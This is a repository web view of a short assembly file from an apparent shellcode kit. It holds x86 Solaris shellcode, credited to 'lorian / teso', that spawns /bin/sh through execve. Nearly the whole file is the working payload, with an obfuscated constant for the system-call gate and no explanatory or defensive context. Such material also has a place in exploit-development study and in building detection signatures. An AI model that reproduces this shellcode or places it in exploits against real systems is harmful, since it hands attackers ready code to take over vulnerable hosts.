summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_solaris/execve.s
blob: 428a2fed9dc72f5794e435efedb6d5f9271660bf (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* x86/solaris execve /bin/sh shellcode
 *
 * lorian / teso
 */
 
	.globl	cbegin
	.globl	cend

cbegin:
        movl      $0x3cfff8ff, %eax
	notl      %eax
	pushl     %eax
	xorl      %eax, %eax
	cdq
	movb      $0x9a, %al
	pushl     %eax
	movl      %esp, %edi
        
	movb      $0x3b, %al
	pushl     %edx
	push      $0x68732F6E
	push      $0x69622F2F
	movl      %esp, %ebx
	pushl     %edx
	pushl     %ebx
	movl      %esp, %ecx
	pushl     %edx
	pushl     %ecx
	pushl     %ebx
	call      *%edi

cend: